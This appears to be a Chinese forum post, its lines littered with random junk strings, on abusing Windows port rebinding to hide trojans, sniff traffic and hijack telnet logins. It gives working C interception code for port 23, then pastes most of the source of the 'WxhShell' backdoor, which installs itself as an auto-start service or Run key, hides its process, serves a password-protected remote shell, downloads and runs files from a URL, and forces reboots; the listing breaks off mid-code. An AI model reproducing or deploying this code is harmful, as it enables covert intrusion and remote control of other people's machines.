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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {A8w~3F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6yXMre)YV  
Mg=R**s1x%  
  saddr.sin_family = AF_INET; f&`yiy_  
8Z(\iZ5Rgj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zi ;7.PqL  
(t2vt[A6ph  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %vjfAdC  
"0Yb 2>F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6eAJ >9@x  
)VFS&|#\  
  这意味着什么?意味着可以进行如下的攻击: -v62 s  
gL6.,4q+1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x_.}C%  
.*g^ i`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *|&&3&7  
.Sjg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gatxvR7H  
h9WyQl7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L$ ZZ]?7j  
pJ H@v &a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~X%W2N2  
^ lM.lS>)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wb/@g=` d  
 eAbp5}B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2N}h<Yd 9  
m$bDWxm#e  
  #include qq[Enf|/y  
  #include m0+'BC{$u  
  #include Bz*6M  
  #include    T{mIk p<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Cw]bhaG g  
  int main() ThJ`-Ro  
  { ^<QF* !  
  WORD wVersionRequested; spv'r!*\ed  
  DWORD ret; +]jJ:V  
  WSADATA wsaData; 4+4C0/$Y  
  BOOL val; $BWA= 2$  
  SOCKADDR_IN saddr; fd*<m8  
  SOCKADDR_IN scaddr; :tcqb2p  
  int err; ({kOgOeC  
  SOCKET s; #i}:CI>2  
  SOCKET sc; OA{PKC  
  int caddsize; d}(b!q9  
  HANDLE mt; fGMuml?[ e  
  DWORD tid;   g%T`6dvT  
  wVersionRequested = MAKEWORD( 2, 2 ); so@wUxF  
  err = WSAStartup( wVersionRequested, &wsaData ); 5qQ\H}  
  if ( err != 0 ) { F@Cxjz  
  printf("error!WSAStartup failed!\n"); "IKbb7x  
  return -1; l\1_v7s  
  } &1,{.:@e  
  saddr.sin_family = AF_INET; WiCJhVF3  
   Q'K[?W|C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (ixlFGvEq  
TM^.y Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b<"LUM*;  
  saddr.sin_port = htons(23); Jqgo\r%`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5R/k8UZ  
  { (G`O[JF  
  printf("error!socket failed!\n"); jv'q :uA^  
  return -1; %E`=c]!  
  } Q"b62+03  
  val = TRUE; |FxTP&8~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bd@1j`i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A<<Bm M.%  
  { 1n|K   
  printf("error!setsockopt failed!\n");  $qyST  
  return -1; f,QBj{M,  
  } S# sar}-I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]O.Z4+6w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kCZxv"Ts  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5Int,SX  
t6a$ZN;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7/GL@H  
  { vK,.P:n  
  ret=GetLastError(); F=r`'\JV[  
  printf("error!bind failed!\n"); o1]ZeF  
  return -1; h^ =9R6im  
  } RqRyZ*n  
  listen(s,2); +DA ,|~k_  
  while(1) sRDxa5<MD  
  { R1NwtnS  
  caddsize = sizeof(scaddr); GP;UuQz  
  //接受连接请求 -VhxnhS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y<9]7R(\;  
  if(sc!=INVALID_SOCKET) UZb!tO2  
  { cSWn4-B@l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LP:F'Q:<  
  if(mt==NULL) YB3?Ftgw  
  { D!nx%%q  
  printf("Thread Creat Failed!\n"); JWo).  
  break; Kuy0Ci  
  } P* .0kR1n  
  } 56T{JTo  
  CloseHandle(mt); 8$C?j\J|*  
  } mv\S1[<T  
  closesocket(s); }D7} %P]  
  WSACleanup(); -VO* P  
  return 0; 4]mAV\1  
  }   }N%uQP#I  
  DWORD WINAPI ClientThread(LPVOID lpParam) j]bNOC2.L  
  { >}'WL($5U  
  SOCKET ss = (SOCKET)lpParam; W@FRKDixG  
  SOCKET sc; tB==v{t  
  unsigned char buf[4096]; `g!NFp9q  
  SOCKADDR_IN saddr; Tmr %r'i3  
  long num; Cso-WG,  
  DWORD val; Yi+$g  
  DWORD ret; z`KP }-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &n-)Alx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e<1)KqG  
  saddr.sin_family = AF_INET; )2mvW1M=7;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #AUV&pI[  
  saddr.sin_port = htons(23); _8'z"w F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g]Fm%iy  
  { ERZWK  
  printf("error!socket failed!\n"); d<+@cf_9  
  return -1; {&d )O  
  } wC~LZSTt  
  val = 100; ]0@ 06G(y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lz88//@gZ  
  { fs;pX/:FR  
  ret = GetLastError(); 4NxI:d$&*  
  return -1; %% A==_b  
  } *e}1KcJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u[~= a 5:4  
  { jpRC6b?  
  ret = GetLastError(); 6qH^&O][  
  return -1; 3}ATt".  
  } 4VrL@c @  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CGY,I UG  
  { X w_6SR9C  
  printf("error!socket connect failed!\n"); f5dctDHP  
  closesocket(sc); +!Lz]@9K  
  closesocket(ss); iDrQ4>  
  return -1; unN=yeut  
  } FvaelB  
  while(1) F=l.2t*9  
  { Xl\yOMfp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6 ~d\+aV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1./iF>*A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0V5{:mzA  
  num = recv(ss,buf,4096,0); S1D;Xv@  
  if(num>0) ST7Xgma-  
  send(sc,buf,num,0); Fb&WwGY,P  
  else if(num==0) m?_@.O@]  
  break; zPt0IB_j'  
  num = recv(sc,buf,4096,0); %y_AT2A  
  if(num>0) -P[bA0N,  
  send(ss,buf,num,0); "pW@[2Dkx/  
  else if(num==0) $1b x\  
  break; ->Bx>Y  
  } =]<JkWSk  
  closesocket(ss); L$4nbOu\~  
  closesocket(sc); m0_B[dw  
  return 0 ; 3P[u>xE  
  } 3E]IEf  
$G@^!(  
9G"-~C"e3  
========================================================== z1`z k0  
)*I%rN8b   
下边附上一个代码,,WXhSHELL f+W8Gszi  
ruTj#tWSo  
========================================================== #uillSV  
DY6ra% T  
#include "stdafx.h" (D <o=Q  
n9N '}z  
#include <stdio.h> Y:'#jY*V  
#include <string.h> JBxizJBP  
#include <windows.h> SE<hZLd"  
#include <winsock2.h> 8j<+ ' R  
#include <winsvc.h> Qb~&a1&s#  
#include <urlmon.h> Kt/Wd  
%eDJ]\*^X  
#pragma comment (lib, "Ws2_32.lib") PP_fTacX  
#pragma comment (lib, "urlmon.lib") H]d'#1G  
95X!{\  
#define MAX_USER   100 // 最大客户端连接数 k=8LhO  
#define BUF_SOCK   200 // sock buffer KuohUH+  
#define KEY_BUFF   255 // 输入 buffer .,7ZD O9{  
U)y~{E~c34  
#define REBOOT     0   // 重启 [V_?`M  
#define SHUTDOWN   1   // 关机 JHIXTy__  
kFsq23Ne  
#define DEF_PORT   5000 // 监听端口 U**v'%{s  
4C[n@ p2  
#define REG_LEN     16   // 注册表键长度 Th(F^W9  
#define SVC_LEN     80   // NT服务名长度 Eh*t;J=O  
W99Hq1W;r  
// 从dll定义API <;.->73E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PZsq9;P$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .vJ t&@NO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _z(ydL*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >( :b\*C  
qc6eqE  
// wxhshell配置信息 EU@XLm6  
struct WSCFG { 2W]y9)<c  
  int ws_port;         // 监听端口 qtLXdSc  
  char ws_passstr[REG_LEN]; // 口令 vspub^;5\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8 y+Nl&"V  
  char ws_regname[REG_LEN]; // 注册表键名 [osm\w49  
  char ws_svcname[REG_LEN]; // 服务名 '-k~qQk)6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zgR@-OtFZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m"RE[dQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >i IUS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ":upo/xN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wy.Xx-3W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  T24?1  
J4;F k  
}; #m<<]L(o8W  
(!9ybH;T  
// default Wxhshell configuration 0;pOQF  
struct WSCFG wscfg={DEF_PORT, ^S'tMT_  
    "xuhuanlingzhe", GY;q0oQ,  
    1, 7TN94@kCF  
    "Wxhshell", t4E=  
    "Wxhshell", WJN}d-S=^  
            "WxhShell Service", h]z>H~.<*  
    "Wrsky Windows CmdShell Service", baVSQtda  
    "Please Input Your Password: ", J)xc mK  
  1, U& < Nhh  
  "http://www.wrsky.com/wxhshell.exe", 61^5QHur  
  "Wxhshell.exe" "TgE@bC  
    }; \d)~.2$G*  
1S26Y|L)  
// 消息定义模块 u/8urxp y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lC&B4zec  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /P-Eg86V'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; umo@JWr  
char *msg_ws_ext="\n\rExit."; >S:>_&I`I  
char *msg_ws_end="\n\rQuit."; CN"hx-f  
char *msg_ws_boot="\n\rReboot..."; ugI9rxT]Kv  
char *msg_ws_poff="\n\rShutdown..."; ]2Q:&T  
char *msg_ws_down="\n\rSave to "; yHL5gz@k  
C*I~14  
char *msg_ws_err="\n\rErr!"; 3h|:ew[  
char *msg_ws_ok="\n\rOK!"; bkgJz+u  
L--(Y+vmf  
char ExeFile[MAX_PATH]; \%!~pfM I  
int nUser = 0; l[EjtN  
HANDLE handles[MAX_USER];  MXj7Z3  
int OsIsNt; AqzPwO^  
}`,}e259  
SERVICE_STATUS       serviceStatus; !7O!)WJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wqu][Wa[Z  
3+E AMn  
// 函数声明 bf3Njma%  
int Install(void); =tv,B3Mo  
int Uninstall(void); CK+GD "Z$  
int DownloadFile(char *sURL, SOCKET wsh); ! awfxH0  
int Boot(int flag); AGN5=K*D  
void HideProc(void); d:"]*EZ [  
int GetOsVer(void); $`emP Hel  
int Wxhshell(SOCKET wsl); }(r%'(.6  
void TalkWithClient(void *cs); DP D%8a)?  
int CmdShell(SOCKET sock); fiq4|!^h  
int StartFromService(void); ]OZk+DU:  
int StartWxhshell(LPSTR lpCmdLine); Q/,bEDc&  
=k1 ,jn+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d,G:+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2h6<'2'o1  
@L-3&~=  
// 数据结构和表定义 O,kzU,zOs  
SERVICE_TABLE_ENTRY DispatchTable[] = 6eqPaIaD   
{ 9N[PZD  
{wscfg.ws_svcname, NTServiceMain}, R`F54?th  
{NULL, NULL} HCI|6{k  
}; xnW3,:0  
V2I"m  
// 自我安装 4Em mh=A  
int Install(void) E,[@jxP  
{ na &?Cw  
  char svExeFile[MAX_PATH]; mOb*VH  
  HKEY key; =Kv*M@  
  strcpy(svExeFile,ExeFile); [`~E)B1Y  
>h0iq  
// 如果是win9x系统,修改注册表设为自启动 R`wL%I!?f  
if(!OsIsNt) { pb(YA/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3U<\s=1?X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &;%z1b> F  
  RegCloseKey(key); c7[<X<yk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <#s=78 g.3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L* Mt/  
  RegCloseKey(key); Nd.+Rs  
  return 0; gJ_{V;R  
    } /R@,c B=  
  } GnlP#;  
} kgX"LQh;[G  
else { P9)E1]Dc$  
Z.b}   
// 如果是NT以上系统,安装为系统服务 Ny@CP}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G`B e~NU  
if (schSCManager!=0) ^T[8j/9o^  
{ R&cOhUj22J  
  SC_HANDLE schService = CreateService 37hs/=x  
  ( R#ABda9  
  schSCManager, JC~L!)f  
  wscfg.ws_svcname, j9@7\N<  
  wscfg.ws_svcdisp, L7*,v5  
  SERVICE_ALL_ACCESS, R^PPgE6!$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )T1U!n?^x  
  SERVICE_AUTO_START, -kh O4,  
  SERVICE_ERROR_NORMAL, v+ NdO$o  
  svExeFile, 9Ij=~p]p  
  NULL, %T hY6y(  
  NULL, z+K-aj w  
  NULL, iNX%Zk[  
  NULL, B \U9F5  
  NULL wo($7'.@  
  ); TBN0uk  
  if (schService!=0) hjVct r  
  { x=g=e <_  
  CloseServiceHandle(schService); RKu'WD?sdH  
  CloseServiceHandle(schSCManager); 2sj[hI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^t&S?_DSZ  
  strcat(svExeFile,wscfg.ws_svcname); Q k e8BRBn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }pJ6CW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t6GL/M4  
  RegCloseKey(key); )[d?&GK  
  return 0; gOpi>  
    } 2lVJ"jg  
  } /;7\HZ$@/  
  CloseServiceHandle(schSCManager); ~c&ygL3  
} 3;@/`Z_\lt  
} Yv?nw-HM  
!}Sf?n P#  
return 1; 9`P<|(  
} Gkz\By  
>h^CC*&'pw  
// 自我卸载 WaY_{)x  
int Uninstall(void) yrp5\k*{y  
{ hk =nXv2M  
  HKEY key; F)ak5  
{:U zW\5l)  
if(!OsIsNt) { -nVQB146^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6w3z&5DY|  
  RegDeleteValue(key,wscfg.ws_regname); k8 !|WqfP  
  RegCloseKey(key); P.L$qe>O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qPEtMvL #  
  RegDeleteValue(key,wscfg.ws_regname); E+LAE/v@  
  RegCloseKey(key); )HHG3cvU  
  return 0; j_::#?o!/  
  } &cnciEw1  
} (twwDI  
} Lnin;0~{  
else { oy8L{8?  
q]%eLfC(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :ud<"I]:  
if (schSCManager!=0) rI/;L<c  
{ K`7(*!HEb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4+rr3 $AY  
  if (schService!=0) bXVH7Fy  
  { F];"d0O#5  
  if(DeleteService(schService)!=0) { z_Em%X  
  CloseServiceHandle(schService); LA!2!60R  
  CloseServiceHandle(schSCManager); W7bA#p(  
  return 0; ^|u7+b'|t  
  } nitKX.t8  
  CloseServiceHandle(schService); 5c(mgEvq  
  } O*;$))<wX  
  CloseServiceHandle(schSCManager); ZDMv8BP7  
} Ri[ v(Zf  
} 'o D31\@I  
Mnj\t3:  
return 1; 9|kc$+(+6  
} 0:NCIsIm<  
\<cs:C\h7  
// 从指定url下载文件 v[k;R  
int DownloadFile(char *sURL, SOCKET wsh) "H{Et b/  
{ 9%+Nzo(Fd  
  HRESULT hr; U +c ?x2\  
char seps[]= "/"; @1+gY4g  
char *token; 1 u[a713O  
char *file; OoW,mmthj>  
char myURL[MAX_PATH]; Lek!5Ug  
char myFILE[MAX_PATH]; r;>2L'  
ivgV5 )".  
strcpy(myURL,sURL); ((& y:{?G  
  token=strtok(myURL,seps); 0m3:!#\  
  while(token!=NULL) tu4-##{  
  { ,, 8hU7P  
    file=token; 5 )A(q\  
  token=strtok(NULL,seps); 2p^Jqp`$  
  } V-1H(wRu  
5|nT5oS  
GetCurrentDirectory(MAX_PATH,myFILE); n(}cK@  
strcat(myFILE, "\\"); %-lilo   
strcat(myFILE, file); c0 I;8z`b  
  send(wsh,myFILE,strlen(myFILE),0); %S`ygc}|  
send(wsh,"...",3,0); hg2a,EU\Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ILN Yh3  
  if(hr==S_OK) sJI" m'r=Z  
return 0; aXv[~  
else 3I"xuKxc  
return 1; M0jC:*D`"  
=d+~l  
} 1 N{unS  
%`]&c)&#Z  
// 系统电源模块 G+_Q7-o&d6  
int Boot(int flag) pB;U*lt  
{  1{fu  
  HANDLE hToken; [Re.sX}$Y  
  TOKEN_PRIVILEGES tkp; i% FpPni  
[Sj _=  
  if(OsIsNt) { `@_j Do  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %qycxEVP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i?HN  
    tkp.PrivilegeCount = 1; {wp~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +hIC N,8!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eNHSfq  
if(flag==REBOOT) { !#NGGIp;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MD4RSl<F  
  return 0; h^B~Fv>~  
} $D][_I  
else { w\K(kNd(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wr j<}L|  
  return 0; 5bj9S  
} yQ [n7du  
  } )yl;i  
  else { ln1QY"g  
if(flag==REBOOT) { M?gc&2 Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G7qB   
  return 0; pdw;SIoC  
} Ii.?| u  
else { PHxU6UPqy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FQlYCb  
  return 0; -$2B!#]3  
} I)(@'^)  
} )yTBtYw3  
hZwbYvu  
return 1; 4[XiD*  *  
} Fkvf[!Ci  
=Hd+KvA  
// win9x进程隐藏模块 K,f"Q<sU%  
void HideProc(void) mNQ~9OJ1  
{ nb30<h  
0en Bq>vr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _xmS$z)TO  
  if ( hKernel != NULL ) i-YSt5iq  
  { x:? EL)(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pba`FC4R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J$D/-*/@  
    FreeLibrary(hKernel); _O$7*k  
  } Puq  
)azK&f@tR|  
return; W<c95QD.  
} I1)t1%6"vJ  
F*4zC@;  
// 获取操作系统版本 Ivx]DXR|  
int GetOsVer(void) }2]m]D@%7  
{ ,]LsX"u  
  OSVERSIONINFO winfo; ;CtTdr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hp(wR'(g&  
  GetVersionEx(&winfo); xt zjFfq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @Rw]boC  
  return 1; L!LhH  
  else K} ) w  
  return 0; B.#.gB#C  
} eJy}W /  
KBg5 _+l  
// 客户端句柄模块 QFg{.F?3q>  
int Wxhshell(SOCKET wsl) <HfmNhI85(  
{ <-(n48  
  SOCKET wsh; \sEH)$R'  
  struct sockaddr_in client; >mW*K _~  
  DWORD myID; e6i m_ Tk  
CeINODcT  
  while(nUser<MAX_USER) :\"V5  
{ MC~<jJ,  
  int nSize=sizeof(client); \"| 7o8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vUR@P  -  
  if(wsh==INVALID_SOCKET) return 1; wv.HPmq  
TMG|"|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .FeVbZW  
if(handles[nUser]==0) N Wf IRL  
  closesocket(wsh); nc9sfH3  
else ~N]pB]/][  
  nUser++; gkFw=Cd  
  } 3y}8|ML  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E#VF7 9L  
m:)s UC0  
  return 0; j58'P 5N  
} _-:CU  
 jAxrU  
// 关闭 socket pnp)- a*7  
void CloseIt(SOCKET wsh) *q*$%H  
{ eE5j6`5i  
closesocket(wsh); h1+y.4  
nUser--; NRMEZ\*L  
ExitThread(0); !%(PN3*  
} Ya29t 98Pk  
Jy P$'v~  
// 客户端请求句柄 >c=-uI  
void TalkWithClient(void *cs) D zdKBJT+  
{ K)#6&\0tT  
%cl{J_}{&  
  SOCKET wsh=(SOCKET)cs; "Ky&x$dje  
  char pwd[SVC_LEN]; Vs9]Gm  
  char cmd[KEY_BUFF]; :NynNu'  
char chr[1]; +QA|]Y~!  
int i,j; PB;j4  
Zq{TY)PI]  
  while (nUser < MAX_USER) { ^IqD^(Kb  
>)edha*W]  
if(wscfg.ws_passstr) { )S^[b2P]y_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?>DwNz^.!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <N8z<o4rku  
  //ZeroMemory(pwd,KEY_BUFF); F13vc~$Ky  
      i=0; ?D+H2[n\a  
  while(i<SVC_LEN) { _BI[F m  
srryVqgS  
  // 设置超时 : U,-v  
  fd_set FdRead; UG=],\E2  
  struct timeval TimeOut; @e2P3K gg  
  FD_ZERO(&FdRead); jP\5bg-}  
  FD_SET(wsh,&FdRead); jE2EoQ i,  
  TimeOut.tv_sec=8; A-l[f\  
  TimeOut.tv_usec=0; 4"s/T0C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ke2}@|?t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qoSZ+ khS$  
FVWHiwRU,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d 0 mfqP=  
  pwd=chr[0]; IweNe`Z  
  if(chr[0]==0xd || chr[0]==0xa) { vu~7Z;y(<j  
  pwd=0; ot,=.%O  
  break; nq:'jdY5|  
  } eQJyO9$G  
  i++; \u*[mrX_B:  
    } T'-kG"lb  
;~Gez;AhK  
  // 如果是非法用户,关闭 socket T\ [CQO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W?yGV{#V(=  
} AWDy_11Nm  
 @7J;}9E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yL_ \&v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M;sT+Z{  
J@qwz[d i  
while(1) { rw#?NI:  
xTy)qN]P  
  ZeroMemory(cmd,KEY_BUFF); T~~K~a \8  
3 (F+\4aRm  
      // 自动支持客户端 telnet标准   Q6r7UM  
  j=0; >/'/^h  
  while(j<KEY_BUFF) { ]3d5kf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iCy$ rC  
  cmd[j]=chr[0]; gp-rTdN  
  if(chr[0]==0xa || chr[0]==0xd) { }1|FES  
  cmd[j]=0; W#foVAi .  
  break; \{54mM~  
  } u@T,8  
  j++; EMf"rGXu(  
    } w0 1u~"E  
(^$SM uC  
  // 下载文件 @@& ? ,3  
  if(strstr(cmd,"http://")) { ,"f2-KC4h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >2mV {i&  
  if(DownloadFile(cmd,wsh)) fJ;1ii~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pg3h>)$/  
  else ^TT_B AI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >g,i"Kg  
  } slYC\"$  
  else { $$eBr8  
Wql,*|  
    switch(cmd[0]) { IJBIO>Z/  
  -H$C3V3]  
  // 帮助 3aFD*S  
  case '?': { > QK"r7f/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?&bB?mg\  
    break;  g:?p/L  
  } _+d*ljP)l3  
  // 安装 xzBUm  
  case 'i': { :z2G a  
    if(Install()) +THK Jn!>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c3J12+~;  
    else <%m$ V5h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z L'krV  
    break; Rw|P$dbu  
    } +0M0g_sk  
  // 卸载 s,~g| I\  
  case 'r': { h"dn:5G:=  
    if(Uninstall()) N a<);Pg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mh=j^ [4Q  
    else w\ddC DZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R/kF,}^F  
    break;  6Ok]E`  
    } lbC9^~T+  
  // 显示 wxhshell 所在路径 /|8/C40aY  
  case 'p': { <X ([VZ  
    char svExeFile[MAX_PATH]; z0?IQzR^T  
    strcpy(svExeFile,"\n\r"); |9]_<X[ic  
      strcat(svExeFile,ExeFile); Ie/dMB=t  
        send(wsh,svExeFile,strlen(svExeFile),0); ;ibOd~  
    break; Zn6u6<O=  
    } '6GW.;  
  // 重启 c:2LG_mQ  
  case 'b': { [#;CBs5o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {`V ^V_  
    if(Boot(REBOOT)) |D1TSv}rZD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); la>H&  
    else { 9 OZXs2~x  
    closesocket(wsh); Rg 5kFeS  
    ExitThread(0); %jxeh.B3B  
    } 5RR4jX]  
    break; ageTv/  
    } r tH #j  
  // 关机 g])iU9)8  
  case 'd': { ,OBJ>_5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .DHQJ|J-1  
